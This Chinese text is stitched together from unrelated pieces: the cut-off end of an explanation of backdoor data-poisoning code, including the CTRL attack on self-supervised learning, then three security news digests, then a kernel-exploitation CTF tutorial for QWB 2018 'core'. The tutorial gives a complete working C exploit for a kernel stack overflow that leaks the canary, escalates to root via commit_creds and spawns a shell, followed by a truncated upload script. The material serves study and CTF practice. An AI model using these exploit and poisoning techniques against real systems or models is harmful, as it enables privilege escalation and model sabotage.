表示该样本需要变换，则应用图像和标签的变换，并调用 set_one_bd_sample() 方法保存变换后的样本。 set_one_bd_sample 方法: 将图像和标签变换后的样本保存到 bd_data_container 中。 确保图像被转换为 PIL 图像格式（如果不是的话）。 更新 poison_indicator，标记该样本为后门样本。 __len__ 方法: 返回数据集中样本的总数。 __getitem__ 方法: 根据索引获取样本。 如果样本是干净的（poison_indicator 为 0），则从原始数据集中获取图像和标签。 如果样本是后门的（poison_indicator 为 1），则从 bd_data_container 中获取图像和标签。 根据 getitem_all 和 getitem_all_switch 的设置，返回不同格式的数据。 subset 方法: 根据给定的索引列表更新 original_index_array，从而选择数据集的子集。 retrieve_state 方法: 返回当前对象的状态，包括 bd_data_container、getitem_all、getitem_all_switch、original_index_array、poison_indicator 和 save_folder_path。 copy 方法: 创建一个 prepro_cls_DatasetBD_v2 的副本。 深度复制当前对象的状态，并设置到新副本中。 set_state 方法: 根据提供的状态文件恢复对象的状态。 包括恢复 bd_data_container 和其他属性。 在我们的实现中得到的部分中毒样本如下所示 注入后门 攻击配置 后门注入期间的部分截图如下所示 以第38个epoch为例，此时的后门攻击成功率达到了接近100%，而正常任务的准确率达到了0.91 CTRL 理论 之前我们提到的后门攻击都是通过监督学习的方式实现的，这一节我们来分析自监督学习后门攻击。 自监督学习（SSL）是一种无需标签即可学习复杂数据高质量表示的机器学习范式。SSL在对抗性鲁棒性方面相较于监督学习有优势，但是否对其他类型的攻击（如后门攻击）同样具有鲁棒性尚未明确。 CTRL攻击通过在训练数据中掺入少量（≤1%）的投毒样本，这些样本对数据增强操作具有抗性，使得在推理阶段，任何含有特定触发器的输入都会被错误地分类到攻击者预定的类别。 触发器 ( r ) 是一种在输入数据的频谱空间中的扰动，它对数据增强（如随机裁剪）不敏感。触发器的设计使其在视觉上几乎不可察觉，但在频域中具有特定的模式。 假设攻击者可以访问到一小部分目标类别的输入样本集 ( \tilde{D} )。 通过在这些样本上添加触发器 ( r ) 来生成投毒数据 ( D^* )。 嵌入：将触发器 ( r ) 嵌入到输入 ( x ) 中，形成触发输入 ( x^* = x \oplus r )。这里 ( \oplus ) 表示触发器嵌入操作。 激活：在推理时，攻击者可以调整触发器的幅度来激活后门，而不影响模型对清洁数据的分类性能。 SSL中的对比损失函数旨在最小化正样本对（相同输入的不同增强视图）之间的距离，同时最大化负样本对（不同输入）之间的距离。对比损失可以表示为： 其中，( f ) 是编码器，( x_i ) 和 ( x_j ) 是正样本对，( y_{ij} ) 是指示器（如果 ( x_i ) 和 ( x_j ) 是正样本对，则为1，否则为0），( \tau ) 是温度参数。 CTRL攻击利用了SSL的表示不变性属性，即不同增强视图的同一输入应具有相似的表示。数学上，这可以表示为： 这里，( x^* ) 是触发输入，( x^+ ) 是增强后的正样本，( r ) 是触发器，( \alpha ) 是混合权重。 通过调整触发器的幅度，攻击者可以控制攻击的效果。 完整的攻击流程如下图所示 下图演示了触发器的生成流程 复现 分析关键代码 ctrl类的stage1_non_training_data_prepare` 方法负责准备背门攻击的数据，包括训练和测试数据集的生成。它先从干净数据中准备基础数据，然后生成背门样本，最后创建背门训练和测试数据集，并将结果保存以备后续使用。这一过程涵盖了从数据预处理到背门攻击数据的生成，并最终包装成适合训练和评估的格式。 这段代码是一个名为 ctrl 的类的定义，它继承自 BadNet 类。主要功能是准备阶段1的数据，包括生成后门攻击数据和测试数据 1. set_bd_args 方法 功能: 设置用于背门攻击的命令行参数。 bd_yaml_path: 指定 YAML 配置文件的路径。 use_dct: 布尔值，指示是否使用 DCT（离散余弦变换）。 use_yuv: 布尔值，指示是否使用 YUV（视频色彩空间）。 trigger_channels: 触发器的通道。 pos_list: 触发器的位置。 2. stage1_non_training_data_prepare 方法 功能: 准备数据，包括清洁训练数据、背门训练数据和测试数据。 初始化: 记录日志并确保 args 存在。 从 benign_prepare 方法中获取不同的数据集和转换方法。 生成背门数据集: 调用 bd_attack_img_trans_generate 和 bd_attack_label_trans_generate 方法生成背门数据集所需的图像和标签转换。 使用 generate_poison_index_from_label_transform 方法生成训练数据中的背门样本索引。 保存背门样本索引到文件。 创建背门训练数据集: 使用 prepro_cls_DatasetBD_v2 方法生成背门训练数据集，并应用转换。 创建数据集包装器 dataset_wrapper_with_transform。 生成背门测试数据集: 使用 generate_poison_index_from_label_transform 方法生成测试数据中的背门样本索引。 使用 prepro_cls_DatasetBD_v2 方法生成背门测试数据集，并应用转换。 使用 subset 方法筛选测试数据集中的背门样本。 保存结果: 将准备好的数据集保存到 self.stage1_results 中。 执行 攻击配置如下 训练期间部分截图如下 可以看到，CTRL在后门攻击成功率上稍低，比如在第59个epoch时，攻击成功率为0.93，正常任务准确率为0.93。

1、 TeamViewer for Windows 漏洞可让攻击者提升权限 https://cybersecuritynews.com/teamviewer-for-windows-vulnerability/ TeamViewer 的 Windows 远程客户端软件发现了一个严重的安全漏洞。此漏洞可能允许攻击者提升其在受影响系统上的权限。 该漏洞被标识为 CVE-2024-7479 和 CVE-2024-7481，影响 TeamViewer 的 Windows Remote 完整客户端和 Remote Host 产品的多个版本。 2、GenAI生成的恶意软件在野外被发现 https://cybersecuritynews.com/genai-generated-malware/ 最新的 HP Wolf 安全威胁洞察报告揭示了使用生成人工智能 (GenAI) 生成的https://cybersecuritynews.com/malware-analysis-tools/负载的出现。这标志着网络威胁形势的重大转变，因为攻击者利用先进的人工智能工具来创建更复杂、更具规避性的恶意软件。 3、Mozilla因在未经用户同意情况下在 Firefox 中启用跟踪而面临投诉 https://thehackernews.com/2024/09/mozilla-faces-privacy-complaint-for.html 总部位于维也纳的非营利性隐私组织 noyb（None Of Your Business 的缩写）已向奥地利数据保护机构 (DPA) 投诉 Firefox 制造商 Mozilla 在未明确征求用户同意的情况下启用了一项名为隐私保护归因 (PPA) 的新功能。 4、 全球汇款巨头速汇金遭网络攻击，支付服务中断约5天 https://www.secrss.com/articles/70634 全球第二大汇款公司速汇金因网络攻击导致系统故障，支付服务中断约5天时间，媒体认为该事件的特征与勒索软件攻击极为类似。 5、迪士尼遭泄露1.1TB数据后弃用Slack https://www.secrss.com/articles/70630 面对如此严重的内部数据泄露事件，迪士尼经过一系列调查和评估，决定放弃使用Slack，并转向其他内部沟通协作平台。 6、工信部发布关于防范KTLVdoor恶意软件的风险提示 https://www.secrss.com/articles/70632 近日，工业和信息化部网络安全威胁与漏洞信息共享平台（CSTIS）监测发现，黑客组织正在利用KTLVdoor新型跨平台恶意软件实施网络攻击，主要攻击目标为Windows和Linux操作系统。 7、国际联合行动：捣毁iServer钓鱼平台，逮捕全球网络犯罪分子 https://cybersecuritynews.com/operation-kaerb-masterminds/ Kaerb 行动逮捕了阿根廷、智利、哥伦比亚、厄瓜多尔、秘鲁和西班牙的 17 名网络罪犯。这项国际行动由欧洲刑警组织、Group-IB 和 Ameripol 协调。 8、Microchip ASF中的严重缺陷使 IoT 设备面临远程攻击 https://thehackernews.com/2024/09/critical-flaw-in-microchip-asf-exposes.html 该漏洞被跟踪为 CVE-2024-7490，CVSS 评分为 9.5 分（满分 10.0 分）。它被描述为 ASF 的 tinydhcp 服务器实现中基于堆栈的溢出漏洞，源于缺乏足够的输入验证。 9、全球信息窃取恶意软件操作以加密用户、游戏玩家为目标 https://www.bleepingcomputer.com/news/security/global-infostealer-malware-operation-targets-crypto-users-gamers/ 威胁行为者使用各种分发渠道，包括在线游戏、加密货币和软件中的恶意广告、鱼叉式网络钓鱼和品牌冒充，以传播 50 种恶意软件负载，包括 AMOS、Stealc 和 Rhadamanthys。 10、“蓝屏事件”后大量德国企业抛弃CrowdStrike https://www.secrss.com/articles/70511 根据德国联邦信息安全办公室（BSI）发布的最新报告，十分之一受事件影响的德国企业选择抛弃CrowdStrike，其中4%已经放弃了CrowdStrike的产品，另有6%的企业计划在不久的将来终止与CrowdStrike的合作。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、 研究人员发现安卓恶意软件Octo的新变种 https://www.threatfabric.com/blogs/octo2-european-banks-already-under-attack-by-new-malware-variant 研究人员发现安卓恶意软件Octo（ExobotCompact）出现了新变种，将其命名为Octo2，是目前传播最广泛的恶意软件家族。研究人员发现了针对欧洲国家传播Octo2的攻击活动，Octo2使用复杂的混淆技术以确保木马避免被检测到，比如使用了域名生成算法（DGA）。此外，其恶意软件开发者采取一定的措施，以提高对受感染设备的远程操作稳定性。 2、Apache Tomcat中存在拒绝服务攻击漏洞 https://cybersecuritynews.com/apache-tomcat-vulnerability/ Apache Tomcat中存在一个安全漏洞，该漏洞被标识为CVE-2024-38286，影响多个版本的Apache Tomcat，攻击者能够通过TLS握手过程触发拒绝服务（DoS）攻击。Apache软件基金会敦促使用受影响版本的用户立即采取行动以降低风险。推荐的解决方案包括升级至最新的安全版本：Apache Tomcat 11.0.0-M21或更高版本，10.1.25或更高版本，以及9.0.90或更高版本。 3、攻击者声称窃取了Oracle员工数据 https://cybersecuritynews.com/hackers-claim-leak-of-oracle-data/ 攻击者在黑客论坛中发帖称，Oracle公司的数据遭到泄露。据称，此次泄露发生于2024年9月，涉及泄露4002行员工的信息。昵称为“888”的用户发布帖子称，此次泄露事件是由于第三方漏洞导致的，泄露的数据包括敏感信息，如全名、职位、公司名称、电子邮件地址和物理地址。截至目前，Oracle尚未对该说法进行回应。该公司可能正在进行内部调查，以评估该事件的有效性。 4、Telegram 同意与刑事调查部门共享用户数据 流行的消息应用程序 Telegram 宣布了一项重大政策逆转，它将根据有效的合法请求向当局提供用户的 IP 地址和电话号码，以试图控制该平台上的犯罪活动。Telegram 首席执行官帕维尔·杜罗夫 (Pavel Durov)在一篇帖子中https://t.me/durov/345： “我们已经明确表示，违反我们规则的人的 IP 地址和电话号码可以根据有效的合法要求披露给相关部门。” https://thehackernews.com/2024/09/telegram-agrees-to-share-user-data-with.html 5、 严重的未授权RCE 漏洞影响所有 GNU/Linux 系统 https://cybersecuritynews.com/critical-unauthenticated-rce-flaw/ 发现了一个严重的未经身份验证的远程代码执行 (RCE)漏洞，影响所有 GNU/Linux 系统。根据与开发人员的协议，这个已存在十多年的漏洞将在不到两周的时间内被彻底披露。 6、美国背调公司MC2 Data发生超大规模数据泄漏 https://www.secrss.com/articles/70558 美国背景调查和公共记录服务公司MC2 Data发生了大规模数据泄露事件，暴露了该公司2.2TB的敏感数据。这些数据中包含超过1亿美国公民的个人信息。 7、 黑客攻击 Apache AXIS 服务器部署后门 https://cybersecuritynews.com/hackers-attacking-apache-axis-server/ Apache Axis 是一个 Web 服务引擎，它提供向 Web 应用程序添加 Web 服务接口的功能。 8、二维码钓鱼攻击可绕过邮件安全扫描程序并滥用 SharePoint https://cybersecuritynews.com/qr-phishing-email-security-sharepoint/ 随着威胁行为者不断调整策略以绕过电子邮件安全扫描程序， Quishing 或QR 码网络钓鱼正在迅速发展。 9、 苹果macOS新版本导致第三方EDR安全工具故障 https://www.secrss.com/articles/70477 ‍本周一，苹果发布了其最新的计算机操作系统更新，名为macOS 15，或称Sequoia红杉。根据社交媒体上的帖子以及在一个专注于Mac的Slack频道中发布的信息，这次软件更新破坏了CrowdStrike、SentinelOne、微软等公司制作的多个安全工具的功能。 10、严重 FreeBSD 虚拟机管理程序漏洞可使攻击者执行恶意代码 https://cybersecuritynews.com/freebsd-hypervisor-rce-vulnerability/ FreeBSD 虚拟机管理程序 bhyve 中发现了一个高严重性漏洞，该漏洞允许在客户虚拟机 (VM) 中运行的恶意软件在主机系统上执行任意代码。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、研究人员披露UNC1860组织进行的网络攻击活动 https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks/ UNC1860组织是一个由伊朗国家支持的APT组织，可能隶属于伊朗情报和安全部（MOIS）。UNC1860组织使用的技战术手段和攻击目标与Shrouded Snooper、Scarred Manticore和Storm-0861相似，这些伊朗攻击组织曾针对中东的电信和政府部门进行攻击。该组织还维护了一系列实用工具和被动后门程序，目的在于在受害者网络中获得立足点并获得长期访问权限。 2、Twelve组织针对俄罗斯进行攻击活动 https://securelist.com/twelve-group-unified-kill-chain/113877/ 研究人员发现一个名为Twelve的攻击组织，该组织使用一系列公开可用的工具针对俄罗斯进行破坏性网络攻击。研究人员称，相比于向受害者勒索赎金，Twelve组织更倾向于加密受害者的数据，然后使用擦除程序破坏他们的基础设施以防止数据恢复，这表明他们希望对目标受害者造成损害，而非获取经济利益。研究人员认为该组织成立于2023年4月，该组织在使用的基础设施和技战术方面与一个名为DARKSTAR（又名COMET或Shadow）的勒索组织有重叠，表明这两个组织可能存在一定的联系。 3、TeamTNT组织针对虚拟专用服务器进行攻击 https://www.group-ib.com/blog/teamtnt/ 研究人员发现TeamTNT组织针对基于CentOS操作系统的虚拟专用服务器（VPS）进行攻击。攻击者通过SSH暴力破解手段对受害者的机器进行攻击，然后上传一个恶意脚本，用于禁用安全功能、删除日志、终止其他加密货币挖矿进程，并阻止恢复工作。攻击者植入Diamorphine rootkit，以隐藏恶意进程，同时设置对受害者机器的持久远程访问。 4、FreeBSD的bhyve虚拟机监控程序中存在一个严重安全漏洞 https://cybersecuritynews.com/freebsd-hypervisor-rce-vulnerability/ FreeBSD的bhyve虚拟机监控程序中存在一个安全漏洞，该漏洞被标识为CVE-2024-41721，影响所有受支持的FreeBSD版本，目前已得到修复。该漏洞源于USB代码中的边界验证不足问题，可能导致堆上的越界读取，从而可能导致任意代码写入以及远程代码执行。建议用户立即对受影响的系统进行更新。 5、ESET 修补 Windows、macOS 产品中的权限提升漏洞 https://www.securityweek.com/eset-patches-privilege-escalation-vulnerabilities-in-windows-macos-products/ ESET 已发布针对 Windows 和 macOS 安全产品中两个本地权限提升漏洞的补丁。 6、Necro Trojan感染Google Play上的应用，下载量达千万 https://www.securityweek.com/necro-trojan-infects-google-play-apps-with-millions-of-downloads/ 据反恶意软件供应商卡巴斯基的报告称，Google Play 官方应用商店中两款应用程序被发现感染了 Necro 木马病毒，总下载量约为 1100 万次。 7、美国拟全面禁止联网和自动驾驶汽车使用中国和俄罗斯的软硬件 https://www.securityweek.com/ban-sought-for-chinese-russian-software-and-hardware-used-in-autonomous-vehicles-on-us-roads/ 美国商务部周一表示，正在寻求禁止在美国销售配备中国和俄罗斯软件和硬件的联网和自动驾驶汽车，目的是保护国家安全和美国驾驶员。 8、Grafana 插件SDK存在严重缺陷，导致敏感信息泄露 https://securityonline.info/cve-2024-8986-cvss-9-1-critical-grafana-plugin-sdk-flaw-exposes-sensitive-information/ 该漏洞编号为 CVE-2024-8986，CVSS 评分为 9.1，由于构建元数据包含在编译的二进制文件中，可能会导致敏感信息（例如存储库凭据）意外泄露。 9、Discord 推出 DAVE 协议，实现音频和视频的端到端加密 https://thehackernews.com/2024/09/discord-introduces-dave-protocol-for.html 流行的社交消息平台 Discord宣布推出一种新的自定义端到端加密 (E2EE) 协议来保护音频和视频通话的安全。 10、危险的API和爬虫程序攻击给全球公司造成了1860亿美元的损失 https://www.infosecurity-magazine.com/news/insecure-apis-bot-attacks-cost/ 该报告指出，API 的快速采用、内部专业知识水平低以及安全和开发团队之间的沟通不畅正在加剧问题。它表示，威胁行为者经常使用自动机器人来探测暴露、不安全和/或配置错误的 API。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 本文介绍Linux内核的栈溢出攻击，和内核一些保护的绕过手法，通过一道内核题及其变体从浅入深一步步走进kernel世界。 QWB_2018_core 题目分析 start.sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ 开启了kaslr保护。 如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary，解决方法就是sudo apt-get install libslirp-dev，然后重新编译 ./configure --enable-slirp。 init 解压 core.cpio(最简单的方式就是在ubuntu里，右击提取到此处)，分析 init 文件： #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko # 加载内核模块core.ko setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0  -f 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地址了。 第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了。 第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了。 第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包。 里面还有一个 gen_cpio.sh 脚本，用于快速打包。 find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > $1 KASLR： Kernel Address Space Layout Randomization(内核地址空间布局随机化)，开启后，允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时，内核代码段的基址为 0xffffffff81000000，direct mapping area 的基址为 0xffff888000000000。 FG-KASLR： Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr，函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序，在数据段偏移不变，例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。 Dmesg Restrictions： 通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0) Kernel Address Display Restriction： 内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。 kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限. kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限. kptr_restrict == 0 : root 和普通用户都可以读取. core.ko 检查一下保护。 ❯ checksec core/core.ko [*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'   Arch:     amd64-64-little   RELRO:   No RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x0) 使用 IDA 继续分析.ko文件。 init_module() 注册了 /proc/core，core_fops 时其注册的file_operations结构体实例，会面会做介绍。 __int64 init_module() {  core_proc = proc_create("core", 438LL, 0LL, &core_fops);  printk(&unk_2DE);  return 0LL; } exit_core()删除 /proc/core。 __int64 exit_core() {  __int64 result; // rax  if ( core_proc )    result = remove_proc_entry("core");  return result; } core_ioctl() 定义了三条命令，分别调用 core_read(), core_copy_func()和设置全局变量 off。 __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) {  switch ( a2 ) {    case 0x6677889B:      core_read(a3);      break;    case 0x6677889C:      printk(&unk_2CD);      off = a3;      break;    case 0x6677889A:      printk(&unk_2B3);      core_copy_func(a3);      break; }  return 0LL; } core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 是我们能够控制的，因此可以合理的控制 off 来 leak canary 和一些地址 。 void __fastcall core_read(__int64 a1) {  __int64 v1; // rbx  char *v2; // rdi  signed __int64 i; // rcx  char v4[64]; // [rsp+0h] [rbp-50h]  /*  * canary保存在rsp+0x40的位置，  * 我们通过设置off为0x40，即可将其读取出来。  */  unsigned __int64 v5; // [rsp+40h] [rbp-10h]  v1 = a1;  v5 = __readgsqword(0x28u);  printk("\x016core: called core_read\n");  printk("\x016%d %p\n");  v2 = v4;  for ( i = 16LL; i; --i ) {    *(_DWORD *)v2 = 0;    v2 += 4; }  strcpy(v4, "Welcome to the QWB CTF challenge.\n");  if ( copy_to_user(v1, &v4[off], 64LL) )    __asm { swapgs } } core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了。 __int64 __fastcall core_copy_func(__int64 a1) {  __int64 result; // rax  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF  v2[8] = __readgsqword(0x28u);  printk(&unk_215);  // 这里用的jg判断，为有符号判断，0xffffffffffff0000|(0x100) 会判定为负从而绕过。  if ( a1 > 63 ) {    printk(&unk_2A1);    return 0xFFFFFFFFLL; }  else {    result = 0LL;    // 栈溢出。    qmemcpy(v2, &name, (unsigned __int16)a1); }  return result; } core_write() 向全局变量 name 上写，这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。 signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) {  unsigned __int64 v3; // rbx  v3 = a3;  printk("\x016core: called core_writen");  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )    return (unsigned int)v3;  printk("\x016core: error copying data from userspacen");  return 0xFFFFFFF2LL; } 字符驱动设备 内核注册字符设备驱动设备时会用到file_operations结构体，file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容，结构体中的一些指针比如open() 、write() 、read() 、close() 等系统调用时最终会被内核调用，我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数，这样我们在类似read(dev_fd, buf, 0x100)时就会调用我们自定义的my_read函数。 它还有一个指针为unlocked_ioctl，我们在用户态时可以使用系统调用ioctl去访问控制内核注册的设备（ioctl系统调用号为0x10，由rax保存，需要注意的时，系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同，系统调用第四个传参寄存器为r10，即rdi,rsi,rdx,r10,r8,r9）。 动态调试 为了动态调试的方便一些，我们需要做以下工作： （1）通过qemu append参数关闭 kaslr ，qemu提供了-s参数用于调试，默认端口为1234。 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" （2）修改init脚本将权限调到 root。 ... setsid /bin/cttyhack setuidgid 0 /bin/sh ... （3）启动qemu，查看模块基地址。 / # lsmod core 16384 0 - Live 0xffffffffc0000000 (O) （4）通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。 #!/bin/sh gdb -q \  -ex "file ./core/vmlinux" \  -ex "file ./core/core.ko" \  -ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \  -ex "target remote localhost:1234" ret2user 顾名思义，即返回到用户空间的提权代码上进行提权，之后返回用户态即为 root 权限。 提权方式 这里只简单介绍两种朴素的方法，第一种是通过commit_creds(prepare_kernel_cred(0))去提权，不过这种方式已经过时了，不过这道题的内核版本支持这种方法提权，prepare_kernel_cred()会将拷贝一个新的cred凭证，参数为零默认拷贝init_cred，其具有root权限。commit_cred()负责应用到进程。 第二种是 commit_cred(&init_cred)，原因是init_cred是静态定义的，我们只要找到init_cred地址便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部分符号，通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。 _DWORD *__fastcall prepare_kernel_cred(__int64 a1) { _DWORD *v1; // rbx int *task_cred; // rbp v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL); if ( !v1 ) return 0LL; if ( a1 ) { task_cred = (int *)get_task_cred(a1); } else { _InterlockedIncrement(dword_FFFFFFFF8223D1A0); task_cred = dword_FFFFFFFF8223D1A0; // init_cred } [......] } 状态保存 通常情况下，我们的 exploit 需要进入到内核当中完成提权，而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell，因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上，以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链： gcc 编译时需要指定参数：-masm=intel。 size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;"           );    puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); } 返回用户态 由内核态返回用户态只需要： swapgs指令通过用一个MSR中的值交换GS寄存器的内容，用来获取指向内核数据结构的指针，然后才能执行系统调用之类的内核空间程序，其也用于恢复用户态 GS 寄存器。 sysretq或者iretq恢复到用户空间 那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。 执行 iretq 时的栈布局。 |----------------------| | RIP                 |<== low mem |----------------------| | CS                   | |----------------------| | EFLAGS               | |----------------------| | RSP                 | |----------------------| | SS                   |<== high mem |----------------------| 所以我们应当构造如下 rop 链以返回用户态并获得一个 shell： ↓   swapgs    iretq    user_shell_addr    user_cs    user_eflags //64bit user_rflags    user_sp    user_ss 利用思路 在未开启 SMAP/SMEP 保护（后面会讲解）的情况下，用户空间无法访问内核空间的数据，但是内核空间可以访问 / 执行用户空间的数据，所以可以使用ret2user。题目给的vmlinux用于提取gadget可以，但使用IDA分析时太慢，可以用vmlinux-to-elf解压bzImage进行分析。 从 /tmp/kallsyms 读取符号地址，确认与nokaslr偏移，从vmlinux寻找gadget。 保存用户状态。 通过设置 off 读取 canary。 于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。 通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间，并执行 system("/bin/sh");。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> #define KERNCALL __attribute__((regparm(3))) /* /tmp/kallsyms 保存的符号地址，这里保存的是未开启kaslr的地址 */ void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0; void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0; void *init_cred = (void *) 0xFFFFFFFF8223D1A0; void get_shell() {    system("/bin/sh"); } void get_root() {    commit_creds(init_cred);    // commit_creds(prepare_kernel_cred(0));    asm("swapgs;"        "mov rsp, tf_addr;"        "iretq;"); } struct trap_frame {    size_t user_rip;    size_t user_cs;    size_t user_rflags;    size_t user_sp;    size_t user_ss; } __attribute__((packed)); struct trap_frame tf; size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    tf.user_rip = (size_t) get_shell;    tf.user_cs = user_cs;    tf.user_rflags = user_rflags;    tf.user_sp = user_sp - 0x1000;    tf.user_ss = user_ss;    puts("[*] status has been saved."); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } /* 计算开启kaslr后的偏移，重定位相关函数和结构体的地址 */ void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds = (void *) ((size_t) commit_creds + offset);            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);            init_cred = (void *) ((size_t) init_cred + offset);            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(0x40);    char buf[0x40];    core_read(buf);    return *(size_t *) buf; } int main() {    rebase();    save_status();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    *(size_t *) &buf[0x40] = canary;    *(void **) &buf[0x50] = get_root; // 覆盖返回地址    core_write(buf, sizeof(buf));    // jg 有符号判断，判其为负数，qmemcpy() 第三个参数取其后16位，导致溢出。    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; } 编译exp时需要注意，本机环境编译的exp可能无法与题目环境交互，需要使用musl-gcc或者相应版本的docker进行编译，musl-gcc有一些库不支持，但大部分情况下都是可以的。 打包脚本 本题提供了打包脚本，可以直接./gen_cpio.sh ../core_new.cpio 打包即可。如果没提供可以使用以下命令打包。 find . | cpio -o -H newc > ../rootfs.imgs 打包完成后，改回题目环境，运行脚本测试即可。发送至远程可以使用以下脚本： from pwn import * import base64 #context.log_level = "debug" with open("./exp", "rb") as f:    exp = base64.b64encode(f.read()) p = remote("127.0.0.1", 11451) #p = process('./run.sh') try_count = 1 while True:    p.sendline()    p.recvuntil("/ quot;)    count = 0    for i in range(0, len(exp), 0x200):        p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")        count += 1        